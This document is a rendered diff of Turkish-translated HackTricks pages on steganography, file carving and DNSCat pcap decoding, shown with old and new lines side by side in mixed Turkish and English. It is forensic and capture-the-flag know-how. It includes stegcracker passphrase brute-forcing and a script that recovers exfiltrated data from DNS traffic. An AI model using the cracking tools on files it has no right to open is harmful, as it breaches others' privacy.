* Steghide üzerinde şifre kırma denemeleri yapmak için [stegcracker](https://github.com/Paradoxis/StegCracker.git) şu şekilde kullanılır: * Steghide üzerinde şifre kırma denemesi yapmak için [stegcracker](https://github.com/Paradoxis/StegCracker.git) kullanın:
```bash ```bash
stegcracker <file> [<wordlist>] stegcracker <file> [<wordlist>]
``` ```
### **PNG ve BMP Dosyaları için zsteg** ### **zsteg PNG ve BMP Dosyaları için**
zsteg, PNG ve BMP dosyalarındaki gizli verileri ortaya çıkarmak için uzmanlaşmıştır. Kurulum `gem install zsteg` komutuyla yapılır, [GitHub'daki kaynağına](https://github.com/zed-0xff/zsteg) ulaşılabilir. zsteg, PNG ve BMP dosyalarında gizli verileri ortaya çıkarmada uzmanlaşmıştır. Kurulum `gem install zsteg` ile yapılır, [kaynağı GitHub'da](https://github.com/zed-0xff/zsteg).
**Komutlar:** **Komutlar:**
* `zsteg -a dosya` bir dosya üzerinde tüm tespit yöntemlerini uygular. * `zsteg -a file` bir dosya üzerinde tüm tespit yöntemlerini uygular.
* `zsteg -E dosya` veri çıkarma için bir yük belirtir. * `zsteg -E file` veri çıkarımı için bir yük belirtir.
### **StegoVeritas ve Stegsolve** ### **StegoVeritas ve Stegsolve**
**stegoVeritas**, metaverileri kontrol eder, görüntü dönüşümleri yapar ve diğer özellikler arasında LSB brute forcing uygular. Tüm seçeneklerin tam listesi için `stegoveritas.py -h` kullanın ve tüm kontrolleri gerçekleştirmek için `stegoveritas.py stego.jpg` komutunu kullanın. **stegoVeritas**, meta verileri kontrol eder, görüntü dönüşümleri gerçekleştirir ve diğer özelliklerin yanı sıra LSB brute forcing uygular. Tüm seçeneklerin tam listesi için `stegoveritas.py -h` kullanın ve tüm kontrolleri gerçekleştirmek için `stegoveritas.py stego.jpg` komutunu çalıştırın.
**Stegsolve**, gizli metinleri veya mesajları ortaya çıkarmak için çeşitli renk filtreleri uygular. [GitHub'da](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) bulunabilir. **Stegsolve**, görüntülerde gizli metinleri veya mesajları ortaya çıkarmak için çeşitli renk filtreleri uygular. [GitHub'da](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) mevcuttur.
### **Gizli İçerik Tespiti için FFT** ### **Gizli İçerik Tespiti için FFT**
Hızlı Fourier Dönüşümü (FFT) teknikleri, görüntülerde gizli içeriği ortaya çıkarabilir. Faydalı kaynaklar şunları içerir: Hızlı Fourier Dönüşümü (FFT) teknikleri, görüntülerde gizli içeriği ığa çıkarabilir. Yararlı kaynaklar şunlardır:
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/) * [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/) * [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
* [GitHub'da FFTStegPic](https://github.com/0xcomposure/FFTStegPic) * [GitHub'da FFTStegPic](https://github.com/0xcomposure/FFTStegPic)
### **Ses ve Görüntü Dosyaları için Stegpy** ### **Stegpy Ses ve Görüntü Dosyaları için**
Stegpy, bilgi gömme işlemine izin verir ve PNG, BMP, GIF, WebP ve WAV gibi formatları destekler. [GitHub'da](https://github.com/dhsdshdhk/stegpy) bulunabilir. Stegpy, PNG, BMP, GIF, WebP ve WAV gibi formatları destekleyerek bilgi gömülmesine olanak tanır. [GitHub'da](https://github.com/dhsdshdhk/stegpy) mevcuttur.
### **PNG Dosyası Analizi için Pngcheck** ### **PNG Dosyası Analizi için Pngcheck**
PNG dosyalarını analiz etmek veya doğrulamak için kullanılabilir. PNG dosyalarını analiz etmek veya doğruluklarını kontrol etmek için:
```bash ```bash
apt-get install pngcheck apt-get install pngcheck
pngcheck stego.png pngcheck stego.png
``` ```
### **Görüntü Analizi için Ek Araçlar** ### **Görüntü Analizi için Ek Araçlar**
Daha fazla keşif için şu adresleri ziyaret etmeyi düşünün: Daha fazla keşif için ziyaret etmeyi düşünün:
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/) * [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
* [Görüntü Hata Düzeyi Analizi](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/) * [Görüntü Hata Seviyesi Analizi](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
* [Outguess](https://github.com/resurrecting-open-source-projects/outguess) * [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
* [OpenStego](https://www.openstego.com/) * [OpenStego](https://www.openstego.com/)
* [DIIT](https://diit.sourceforge.net/) * [DIIT](https://diit.sourceforge.net/)
## **Ses Dosyalarından Veri Çıkarma** ## **Seslerden Veri Çıkartma**
**Ses steganografisi**, bilgileri ses dosyalarının içine gizlemek için benzersiz bir yöntem sunar. Farklı araçlar, gizli içeriği gömmek veya almak için kullanılır. **Ses steganografisi**, bilgi gizlemek için ses dosyaları içinde benzersiz bir yöntem sunar. Gizli içeriği gömmek veya geri almak için farklı araçlar kullanılır.
### **Steghide (JPEG, BMP, WAV, AU)** ### **Steghide (JPEG, BMP, WAV, AU)**
Steghide, verileri JPEG, BMP, WAV ve AU dosyalarına gizlemek için tasarlanmış çok yönlü bir araçtır. Detaylı talimatlar [stego tricks belgelerinde](stego-tricks.md#steghide) sağlanmaktadır. Steghide, JPEG, BMP, WAV ve AU dosyalarında veri gizlemek için tasarlanmış çok yönlü bir araçtır. Ayrıntılı talimatlar [stego tricks belgelerinde](stego-tricks.md#steghide) bulunmaktadır.
### **Stegpy (PNG, BMP, GIF, WebP, WAV)** ### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
Bu araç, PNG, BMP, GIF, WebP ve WAV gibi çeşitli formatlarla uyumludur. Daha fazla bilgi için [Stegpy bölümüne](stego-tricks.md#stegpy-png-bmp-gif-webp-wav) başvurun. Bu araç, PNG, BMP, GIF, WebP ve WAV dahil olmak üzere çeşitli formatlarla uyumludur. Daha fazla bilgi için [Stegpy bölümüne](stego-tricks.md#stegpy-png-bmp-gif-webp-wav) bakın.
### **ffmpeg** ### **ffmpeg**
ffmpeg, ses dosyalarının bütünlüğünü değerlendirmek için hayati öneme sahiptir, detaylı bilgileri vurgular ve herhangi bir uyumsuzluğu belirler. ffmpeg, ses dosyalarının bütünlüğünü değerlendirmek için kritik öneme sahiptir, ayrıntılı bilgileri vurgular ve herhangi bir tutarsızlığı belirler.
```bash ```bash
ffmpeg -v info -i stego.mp3 -f null - ffmpeg -v info -i stego.mp3 -f null -
``` ```
### **WavSteg (WAV)** ### **WavSteg (WAV)**
WavSteg, en az anlamlı bit stratejisini kullanarak WAV dosyaları içinde veri gizleme ve çıkarma konusunda başarılıdır. [GitHub](https://github.com/ragibson/Steganography#WavSteg) üzerinden erişilebilir. Komutlar şunları içerir: WavSteg, en az anlamlı bit stratejisini kullanarak WAV dosyaları içinde verileri gizleme ve çıkarma konusunda mükemmeldir. [GitHub](https://github.com/ragibson/Steganography#WavSteg) üzerinde erişilebilir. Komutlar şunlardır:
```bash ```bash
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
@ -182,51 +174,47 @@ python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
``` ```
### **Deepsound** ### **Deepsound**
Deepsound, AES-256 kullanarak ses dosyaları içinde bilgi şifreleme ve tespit etmeye olanak tanır. [Resmi sayfadan](http://jpinsoft.net/deepsound/download.aspx) indirilebilir. Deepsound, AES-256 kullanarak ses dosyaları içindeki bilgilerin şifrelenmesi ve tespit edilmesini sağlar. [resmi sayfadan](http://jpinsoft.net/deepsound/download.aspx) indirilebilir.
### **Sonic Visualizer** ### **Sonic Visualizer**
Ses dosyalarının görsel ve analitik incelemesi için paha biçilmez bir araç olan Sonic Visualizer, diğer yöntemlerle algılanamayan gizli unsurları ortaya çıkarabilir. Daha fazlası için [resmi web sitesini](https://www.sonicvisualiser.org/) ziyaret edin. Ses dosyalarının görsel ve analitik incelemesi için paha biçilmez bir araç olan Sonic Visualizer, diğer yöntemlerle tespit edilemeyen gizli unsurları ortaya çıkarabilir. Daha fazla bilgi için [resmi web sitesini](https://www.sonicvisualiser.org/) ziyaret edin.
### **DTMF Tones - Dial Tones** ### **DTMF Tones - Dial Tones**
Ses dosyalarındaki DTMF tonlarını tespit etmek, [bu DTMF dedektörü](https://unframework.github.io/dtmf-detect/) ve [DialABC](http://dialabc.com/sound/detect/index.html) gibi çevrimiçi araçlar aracılığıyla başarıyla gerçekleştirilebilir. Ses dosyalarında DTMF tonlarını tespit etmek, [bu DTMF dedektörü](https://unframework.github.io/dtmf-detect/) ve [DialABC](http://dialabc.com/sound/detect/index.html) gibi çevrimiçi araçlar aracılığıyla gerçekleştirilebilir.
## **Diğer Teknikler** ## **Other Techniques**
### **Binary Length SQRT - QR Code** ### **Binary Length SQRT - QR Code**
Bir tam sayıya karesel olarak eşit olan ikili veriler bir QR kodu temsil edebilir. Bunun kontrolü için bu kısa kod parçasını kullanın: Tam sayıya kare olan ikili veriler bir QR kodunu temsil edebilir. Kontrol etmek için bu kod parçasını kullanın:
```python ```python
import math import math
math.sqrt(2500) #50 math.sqrt(2500) #50
``` ```
For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/).
### **Braille Çevirisi** ### **Braille Çevirisi**
Braille çevirisi için [Branah Braille Çevirmeni](https://www.branah.com/braille-translator) mükemmel bir kaynaktır. Braille çevirisi için, [Branah Braille Translator](https://www.branah.com/braille-translator) mükemmel bir kaynaktır.
## **Referanslar** ## **Referanslar**
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/) * [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit) * [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>Support HackTricks</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Hacking püf noktalarını paylaşarak PR'ler göndererek [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Carving & Recovery tools ## Carving & Recovery tools
Daha fazla araç için [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) Daha fazla araç için [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
@ -35,7 +27,7 @@ Görüntülerden dosya çıkarmak için adli bilimlerde en yaygın kullanılan a
**Binwalk**, gömülü içeriği bulmak için ikili dosyaları analiz etmek için kullanılan bir araçtır. `apt` ile kurulabilir ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'ta bulunmaktadır. **Binwalk**, gömülü içeriği bulmak için ikili dosyaları analiz etmek için kullanılan bir araçtır. `apt` ile kurulabilir ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'ta bulunmaktadır.
**Kullanışlı komutlar**: **Useful commands**:
```bash ```bash
sudo apt install binwalk #Insllation sudo apt install binwalk #Insllation
binwalk file #Displays the embedded data in the given file binwalk file #Displays the embedded data in the given file
@ -52,7 +44,7 @@ foremost -v -i file.img -o output
``` ```
### **Scalpel** ### **Scalpel**
**Scalpel**, bir dosya içinde gömülü **dosyaları** bulmak ve çıkarmak için kullanılabilecek bir başka araçtır. Bu durumda, çıkarmak istediğiniz dosya türlerini yapılandırma dosyasından (_/etc/scalpel/scalpel.conf_) yorum satırından çıkarmanız gerekecektir. **Scalpel**, bir dosya içinde gömülü **dosyaları** bulmak ve çıkarmak için kullanılabilecek bir başka araçtır. Bu durumda, çıkarmak istediğiniz dosya türlerini yapılandırma dosyasından (_/etc/scalpel/scalpel.conf_) yorumdan çıkarmanız gerekecektir.
```bash ```bash
sudo apt-get install scalpel sudo apt-get install scalpel
scalpel file.img -o output scalpel file.img -o output
@ -65,7 +57,7 @@ Bu araç bir görüntüyü tarayabilir ve içindeki **pcap'leri** **çıkartabil
``` ```
bulk_extractor memory.img -o out_folder bulk_extractor memory.img -o out_folder
``` ```
Tüm **bilgileri** gözden geçirin (şifreler?), **paketleri analiz edin** (okuyun [**Pcaps analizi**](../pcap-inspection/)), **garip alan adlarını** arayın (**kötü amaçlı yazılım** veya **var olmayan** alan adları ile ilgili). Tüm **bilgileri** (şifreler?) **gözden geçirin**, **paketleri** **analiz edin** (okuyun [**Pcaps analizi**](../pcap-inspection/)), **garip alan adlarını** (**kötü amaçlı yazılım** veya **var olmayan** alan adlarıyla ilgili) arayın.
### PhotoRec ### PhotoRec
@ -84,7 +76,7 @@ GUI ve CLI sürümleri ile gelir. PhotoRec'in aramasını istediğiniz **dosya t
* Görsel ve aktif **yapı görüntüleyici** * Görsel ve aktif **yapı görüntüleyici**
* Farklı odak noktaları için birden fazla grafik * Farklı odak noktaları için birden fazla grafik
* Bir örneğin bölümlerine odaklanma * Bir örneğin bölümlerine odaklanma
* PE veya ELF yürütülebilir dosyalarda **dizeleri ve kaynakları** görme * PE veya ELF yürütülebilir dosyalarda **dize ve kaynakları** görme
* Dosyalar üzerinde kriptoanaliz için **desenler** elde etme * Dosyalar üzerinde kriptoanaliz için **desenler** elde etme
* **Packer** veya kodlayıcı algoritmalarını **belirleme** * **Packer** veya kodlayıcı algoritmalarını **belirleme**
* Desenler ile Steganografi **tanımlama** * Desenler ile Steganografi **tanımlama**
@ -105,12 +97,6 @@ Anahtar programlarını arayarak AES anahtarlarını arar. TrueCrypt ve BitLocke
Terminalden görüntüleri görmek için [**viu** ](https://github.com/atanunq/viu) kullanabilirsiniz.\ Terminalden görüntüleri görmek için [**viu** ](https://github.com/atanunq/viu) kullanabilirsiniz.\
Bir pdf'yi metne dönüştürmek ve okumak için linux komut satırı aracı **pdftotext** kullanabilirsiniz. Bir pdf'yi metne dönüştürmek ve okumak için linux komut satırı aracı **pdftotext** kullanabilirsiniz.
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -15,27 +15,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Carving & Recovery tools ## Carving & Recovery tools
Daha fazla araç için [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) Daha fazla araç için [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy ### Autopsy
Görüntülerden dosya çıkarmak için adli bilimlerde en yaygın kullanılan araç [**Autopsy**](https://www.autopsy.com/download/)'dir. İndirin, kurun ve "gizli" dosyaları bulmak için dosyayı içe aktarmasını sağlayın. Autopsy'nin disk görüntüleri ve diğer türdeki görüntüleri desteklemek için tasarlandığını, ancak basit dosyalar için değil olduğunu unutmayın. Görüntülerden dosya çıkarmak için adli bilimlerde en yaygın kullanılan araç [**Autopsy**](https://www.autopsy.com/download/)'dir. İndirin, kurun ve "gizli" dosyaları bulmak için dosyayı içe aktarmasını sağlayın. Autopsy'nin disk görüntüleri ve diğer türdeki görüntüleri desteklemek için tasarlandığını, ancak basit dosyaları desteklemediğini unutmayın.
### Binwalk <a href="#binwalk" id="binwalk"></a> ### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk**, gömülü içeriği bulmak için ikili dosyaları analiz etmek için kullanılan bir araçtır. `apt` ile kurulabilir ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'ta bulunmaktadır. **Binwalk**, gömülü içeriği bulmak için ikili dosyaları analiz etmek için kullanılan bir araçtır. `apt` ile kurulabilir ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'ta bulunmaktadır.
**Useful commands**: **Kullanışlı komutlar**:
```bash ```bash
sudo apt install binwalk #Insllation sudo apt install binwalk #Insllation
binwalk file #Displays the embedded data in the given file binwalk file #Displays the embedded data in the given file
@ -44,7 +36,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
``` ```
### Foremost ### Foremost
Gizli dosyaları bulmak için başka bir yaygın araç **foremost**'tur. Foremost'un yapılandırma dosyasını `/etc/foremost.conf` konumunda bulabilirsiniz. Eğer sadece belirli dosyaları aramak istiyorsanız, bunların yorumunu kaldırın. Eğer hiçbir şeyi yorumdan çıkarmazsanız, foremost varsayılan olarak yapılandırılmış dosya türlerini arayacaktır. Gizli dosyaları bulmak için başka bir yaygın araç **foremost**'tur. Foremost'un yapılandırma dosyasını `/etc/foremost.conf` içinde bulabilirsiniz. Eğer sadece belirli dosyaları aramak istiyorsanız, bunların yorumunu kaldırın. Eğer hiçbir şeyi yorumdan çıkarmazsanız, foremost varsayılan olarak yapılandırılmış dosya türlerini arayacaktır.
```bash ```bash
sudo apt-get install foremost sudo apt-get install foremost
foremost -v -i file.img -o output foremost -v -i file.img -o output
@ -69,15 +61,15 @@ Navigate through **tüm bilgileri** that the tool has gathered (şifreler?), **a
### PhotoRec ### PhotoRec
Bunu [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) adresinde bulabilirsiniz. You can find it in [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
GUI ve CLI sürümleri ile gelir. PhotoRec'in aramasını istediğiniz **dosya türlerini** seçebilirsiniz. It comes with GUI and CLI versions. You can select the **dosya türleri** you want PhotoRec to search for.
![](<../../../.gitbook/assets/image (242).png>) ![](<../../../.gitbook/assets/image (242).png>)
### binvis ### binvis
[Kodunu](https://code.google.com/archive/p/binvis/) kontrol edin ve [web sayfası aracını](https://binvis.io/#/) inceleyin. Check the [kod](https://code.google.com/archive/p/binvis/) and the [web sayfası aracı](https://binvis.io/#/).
#### BinVis Özellikleri #### BinVis Özellikleri
@ -86,7 +78,7 @@ GUI ve CLI sürümleri ile gelir. PhotoRec'in aramasını istediğiniz **dosya t
* Bir örneğin bölümlerine odaklanma * Bir örneğin bölümlerine odaklanma
* PE veya ELF yürütülebilir dosyalarda **dize ve kaynakları görme** * PE veya ELF yürütülebilir dosyalarda **dize ve kaynakları görme**
* Dosyalar üzerinde kriptoanaliz için **desenler** elde etme * Dosyalar üzerinde kriptoanaliz için **desenler** elde etme
* **Packer veya kodlayıcı algoritmalarını tespit etme** * **Paketleyici** veya kodlayıcı algoritmaları **belirleme**
* Desenler ile Steganografi **tanımlama** * Desenler ile Steganografi **tanımlama**
* **Görsel** ikili fark analizi * **Görsel** ikili fark analizi
@ -98,18 +90,12 @@ BinVis, bir kara kutu senaryosunda bilinmeyen bir hedefle tanışmak için harik
AES anahtarlarını anahtar programlarını arayarak bulur. TrueCrypt ve BitLocker gibi 128, 192 ve 256 bit anahtarları bulabilir. AES anahtarlarını anahtar programlarını arayarak bulur. TrueCrypt ve BitLocker gibi 128, 192 ve 256 bit anahtarları bulabilir.
[Buradan](https://sourceforge.net/projects/findaes/) indirin. Download [buradan](https://sourceforge.net/projects/findaes/).
## Tamamlayıcı araçlar ## Tamamlayıcı araçlar
Terminalden görüntüleri görmek için [**viu** ](https://github.com/atanunq/viu) kullanabilirsiniz.\ You can use [**viu** ](https://github.com/atanunq/viu) to see images from the terminal.\
Bir pdf'yi metne dönüştürmek ve okumak için linux komut satırı aracı **pdftotext** kullanabilirsiniz. You can use the linux command line tool **pdftotext** to transform a pdf into text and read it.
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -119,9 +105,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<summary>Support HackTricks</summary> <summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * Check the [**abonelik planları**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi takip edin** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Hacking ipuçlarını paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,23 +15,11 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
</details> </details>
{% endhint %} {% endhint %}
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) **karanlık ağ** destekli bir arama motorudur ve bir şirketin veya müşterilerinin **tehdit altına alınıp alınmadığını** kontrol etmek için **ücretsiz** işlevler sunar. Eğer **DNSCat tarafından exfiltrated** (şifreleme kullanmadan) veriler içeren bir pcap dosyanız varsa, exfiltrated içeriği bulabilirsiniz.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir. Sadece **ilk 9 baytın** gerçek veri olmadığını ve **C\&C iletişimi** ile ilgili olduğunu bilmeniz yeterlidir:
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
Eğer DNSCat tarafından **sızdırılan** verilerle bir pcap dosyanız varsa (şifreleme kullanmadan), sızdırılan içeriği bulabilirsiniz.
Sadece **ilk 9 baytın** gerçek veri olmadığını, **C\&C iletişimiyle** ilgili olduğunu bilmeniz yeterlidir:
```python ```python
from scapy.all import rdpcap, DNSQR, DNSRR from scapy.all import rdpcap, DNSQR, DNSRR
import struct import struct
@ -53,7 +41,7 @@ last = qry
Daha fazla bilgi için: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ Daha fazla bilgi için: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\
[https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md) [https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md)
Python3 ile çalışan bir script var: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder) Python3 ile çalışan bir script bulunmaktadır: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder)
``` ```
python3 dnscat_decoder.py sample.pcap bad_domain python3 dnscat_decoder.py sample.pcap bad_domain
``` ```
@ -66,7 +54,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>

View file

@ -1,33 +1,20 @@
# Wireshark tricks # Wireshark tricks
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
